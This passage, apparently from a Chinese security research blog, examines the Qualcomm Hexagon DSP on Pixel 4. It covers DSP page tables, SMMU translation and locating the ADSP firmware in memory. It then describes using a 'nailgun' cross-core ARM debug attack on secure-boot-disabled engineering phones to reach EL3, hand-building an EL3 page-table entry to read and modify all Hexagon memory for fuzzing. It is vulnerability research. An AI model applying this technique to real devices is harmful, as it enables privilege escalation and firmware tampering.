| 31                             12 | 11 | 10 | 9 | 8   6 | 5 | 4 | 3 | 2   0 |
|            Logical Page           | X  | W  | R |   C   | U | T | - |   -   |

我找到了hexagonMVM代码中创建页表的代码,它创建了16MB页表,格式如下:

XLAT256M(0x00000fc0)    XLAT64M(0x00000fc0)    XLAT16M(0x00000fc0)    0x00000fc6
                                                                      0x00000fc6
                                                                      0x00000fc6
                                                                      0x00000fc6
----------------------------------------------------------------------------------
                                               XLAT16M(0x01000fc0)    0x01000fc6
                                                                      0x01000fc6
                                                                      0x01000fc6
                                                                      0x01000fc6
----------------------------------------------------------------------------------
                                               XLAT16M(0x02000fc0)    0x02000fc6
                                                                      0x02000fc6
                                                                      0x02000fc6
                                                                      0x02000fc6
----------------------------------------------------------------------------------
                                               XLAT16M(0x03000fc0)    0x03000fc6
                                                                      0x03000fc6
                                                                      0x03000fc6
                                                                      0x03000fc6
----------------------------------------------------------------------------------
                     XLAT16M(0x04000fc0)       XLAT64M(0x04000fc0)    0x04000fc6
                                                                      0x04000fc6
                                                                      0x04000fc6
                                                                      0x04000fc6
----------------------------------------------------------------------------------
                                                XLAT16M(0x05000fc0)
                                                XLAT16M(0x06000fc0)
                                                XLAT16M(0x07000fc0)
                        XLAT64M(0x08000fc0)     XLAT16M(0x08000fc0)
                                                XLAT16M(0x09000fc0)
                                                XLAT16M(0x0a000fc0)
                                                XLAT16M(0x0b000fc0)
                        XLAT64M(0x0c000fc0)     XLAT16M(0x0c000fc0)
                                                XLAT16M(0x0d000fc0)
                                                XLAT16M(0x0e000fc0)
                                                XLAT16M(0x0f000fc0)

可以看到每个页表项重复出现4次,与文档中描述一致。

在尝试寻找页表寄存器时,我发现SDK的文档有以下描述:

One of the limitations of Memory Carveout is that it imposes the need to
allocate physically contiguous buffers on the HLOS memory. Therefore, HLOS has
to set-aside a portion of it's precious memory to be used exclusively by DSP.
This is inefficient as the memory is not fully utilized. To avoid this, some
Snapdragon devices contain an SMMU in between the Hexagon Processor and the
System Memory. The SMMU provides another translation layer and can be used to
scatter-gather physically discontiguous chunks of DDR memory, but present a
physically contiguous view to the Hexagon DSP processor.

这段话的意思是AP侧总要分配连续的物理内存给DSP,有时这是一种难以满足的要求。有的设备会在DSP芯片前面加上SMMU,SMMU可以将零散的(不连续的)物理地址映射到连续的虚拟地址上,此时DSP看到的是连续的“物理地址”(实际是SMMU给它营造的虚拟地址)。通过引入SMMU,AP可以分配零散的内存给DSP,从而提高了内存的使用效率。

SMMU的加入显然会限制DSP的访存能力:DSP看到的不再是物理地址,而是SMMU导出的虚拟地址。这意味着DSP每次访存都要经过SMMU的翻译。此时,即便我可以篡改DSP的页表,也无法逃离SMMU的牢笼(它们之间的关系类似hypervisor和kernel)。因此,上述想法仅在已有漏洞的情况下无法实现。

Fuzz方法

过去某段时间,国内二手机市场出现过谷歌Pixel 4工程机。这些工程机的Secure boot是关闭的,有意思的是它们可以安装谷歌发布的最新release版本系统。我过去研究过这种工程机,它存在着一种隐秘的攻击:钉枪攻击。简单来说这种攻击方式利用了ARM架构的调试特点:它支持核间调试。我可以在一台Pixel 4手机上完成自我调试,例如使用CPU1调试CPU2。有意思的是:我(位于EL1)可以使被调试的CPU进入EL3,以侵占的方式篡改EL3内存。实现这种攻击只需要能够加载AP侧内核module即可。

既然能够修改EL3内存,篡改Hexagon的内存应该不是难事。因为EL3是AP的最高权限级别,CPU在这个级别下理应能够看到所有内存。现在我需要做的就是找到Hexagon系统在内存中的位置。根据adsp.elf信息,我发现它的加载地址是0x8be00000。除了这种方法之外,也可以通过系统日志确定:

[    0.000000] OF: reserved mem: initialized node adsp_region, compatible id shared-dma-pool
[    0.000000] OF: reserved mem: initialized node pil_adsp_region, compatible id removed-dma-pool
[    0.199925] platform 17300000.qcom,lpass: assigned reserved memory node pil_adsp_region
[    0.202684] platform soc:qcom,msm-adsprpc-mem: assigned reserved memory node adsp_region
[    0.319148] platform soc:qcom,ion:qcom,ion-heap@22: assigned reserved memory node adsp_region
[    0.319437] ION heap adsp created at 0x00000000fb800000 with size 1000000
[    1.970219] ueventd: firmware: loading 'adsp.mdt' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.mdt'
[    1.970951] subsys-pil-tz 17300000.qcom,lpass: adsp: loading from 0x000000008be00000 to 0x000000008dc00000
[    1.970981] ueventd: loading /devices/platform/soc/17300000.qcom,lpass/firmware/adsp.mdt took 0ms
[    1.985596] ueventd: firmware: loading 'adsp.b02' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b02'
[    1.986466] ueventd: firmware: loading 'adsp.b03' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b03'
[    1.987542] ueventd: firmware: loading 'adsp.b04' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b04'
[    1.988877] ueventd: firmware: loading 'adsp.b05' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b05'
[    1.989899] ueventd: firmware: loading 'adsp.b06' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b06'
[    1.995780] ueventd: firmware: loading 'adsp.b07' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b07'
[    1.996943] ueventd: firmware: loading 'adsp.b08' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b08'
[    1.998560] ueventd: firmware: loading 'adsp.b09' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b09'
[    2.009371] ueventd: firmware: loading 'adsp.b10' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b10'
[    2.015330] ueventd: firmware: loading 'adsp.b11' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b11'
[    2.018807] ueventd: firmware: loading 'adsp.b12' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b12'
[    2.021092] ueventd: firmware: loading 'adsp.b13' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b13'
[    2.098162] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for cdsp
[    2.148304] subsys-pil-tz 17300000.qcom,lpass: adsp: Brought out of reset
[    2.159687] subsys-pil-tz 17300000.qcom,lpass: adsp: Power/Clock ready interrupt received
[    2.164244] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for adsp
[    2.165704] apr_tal_rpmsg qcom,glink:adsp.apr_audio_svc.-1.-1: apr_tal_rpmsg_probe: Channel[apr_audio_svc] state[Up]
[    2.291440] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for slpi
[    3.295849] sysmon-qmi: ssctl_new_server: Connection established between QMI handle and adsp's SSCTL service
[    3.366099] ADSPRPC: audio_pdr_adsprpc is uninitialzed
[    3.368962] apr_adsp_up: Q6 is Up

从日志中可以发现ADSP固件加载地址同样是0x000000008be00000。还有一种方法是从device tree中查找相关信息,device tree其实指示了DSP系统加载位置,内核根据它的指示完成加载(lpass:Low Power Audio Subsystem):

reserved-memory {

24821 pil_adsp_region {
24822  compatible = "removed-dma-pool";
24823  no-map;
24824  reg = <0x00 0x8be00000 0x00 0x1a00000>;
24825  linux,phandle = <0x7b>;
24826  phandle = <0x7b>;
24827 };

24915 adsp_region {
24916  compatible = "shared-dma-pool";
24917  alloc-ranges = <0x00 0x00 0x00 0xffffffff>;
24918  reusable;
24919  alignment = <0x00 0x400000>;
24920  size = <0x00 0x1000000>;
24921  linux,phandle = <0xb1>;
24922  phandle = <0xb1>;
24923 };

}

pil_adsp_mem = "/reserved-memory/pil_adsp_region";
adsp_mem = "/reserved-memory/adsp_region";
fastrpc_buf_alloc
soc {
3497 qcom,lpass@17300000 {
3498  compatible = "qcom,pil-tz-generic";
3499  reg = <0x17300000 0x100>;
3500  vdd_cx-supply = <0x20>;
3501  qcom,vdd_cx-uV-uA = <0x181 0x00>;
3502  qcom,proxy-reg-names = "vdd_cx";
3503  clocks = <0x25 0x00>;
3504  clock-names = "xo";
3505  qcom,proxy-clock-names = "xo";
3506  qcom,pas-id = <0x01>;
3507  qcom,proxy-timeout-ms = <0x2710>;
3508  qcom,smem-id = <0x1a7>;
3509  qcom,sysmon-id = <0x01>;
3510  qcom,ssctl-instance-id = <0x14>;
3511  qcom,firmware-name = "adsp";
3512  memory-region = <0x7b>;
3513  qcom,signal-aop;
3514  qcom,complete-ramdump;
3515  interrupts-extended = <0x01 0x00 0xa2 0x01 0x7c 0x00 0x00 0x7c 0x02 0x00 0x7c 0x01 0x00 0x7c 0x03 0x00 0x7c 0x07 0x00>;
3516  interrupt-names = "qcom,wdog\0qcom,err-fatal\0qcom,proxy-unvote\0qcom,err-ready\0qcom,stop-ack\0qcom,shutdown-ack";
3517  qcom,smem-states = <0x7d 0x00>;
3518  qcom,smem-state-names = "qcom,force-stop";
3519  mboxes = <0x1f 0x00>;
3520  mbox-names = "adsp-pil";
3521 };
}

其中pil_adsp_region用来存放ADSP代码,”removed-dma-pool”表示这部分内存完全被ADSP占据。no-map表示内核不能映射该地址。而adsp_region是内核用来与DSP进行通信的共享内存,它指定内核保留16M(0x1000000)内存,”shared-dma-pool”表示这段内存不是ADSP独享的,内核也可以使用空余内存。内核日志中有如下分配与之对应(?):

[    0.319437] ION heap adsp created at 0x00000000fb800000 with size 1000000

qcom,lpass@17300000指示了固件adsp(qcom,firmware-name=”adsp”)加载到0x7b表示的内存处(memory-region = <0x7b>),而pil_adsp_region的phandle是0x7b。 从以上信息可以确认adsp加载地址是0x8be00000。

映射Hexagon内存到EL3

我编写了相关工具来解析EL3的页表。我发现EL3并没有映射Hexagon内存。因此,我需要手动映射Hexagon到EL3。EL3的t0sz是36,根据ARMv8手册,ttbr寄存器指向level1页表,该页表支持Block类型的映射,格式如下:

 | 63                  50 | 49 48 | 47                 30 | 29 17 | 16 | 15 12 | 11                   2 | 1 | 0 |
 | Upper block attributes | RES0  | Output address[47:30] | RES0  | nT | RES0  | Lower block attributes | 0 | 1 |

Lower block attributes格式如下:

Lower block attributes:
 | 11 | 10 | 9 8 | 7 6 | 5  | 4      2 | 1 | 0 |
 | nG | AF | SH  | AP  | NS | AttrIndx | 0 | 1 |
 | 0  | 0  | 0 0 | 1 0 | 0  | 0   0  1 | 0 | 1 |

level1页表映射粒度是1GB,因此0x8be00000的起始地址是0x80000000,页表项是0x80000705。建立好映射后,我可以通过EL3来读写Hexagon所有内存,包括supervisor、QuRT和应用。

借助钉枪攻击,我可以修改Hexagon的所有代码。这种方法为Fuzz提供了强大的基础支持。同时,它和其他已知方法一样,存在着显而易见的限制。这里无意于比较孰优孰劣,只是想分享下我找到的新方法。

总结

Hexagon是一个非常复杂的系统。由于缺少相关资料,相关研究进展缓慢。这篇博客公开了我的一些发现,希望能够为后来者提供些许帮助。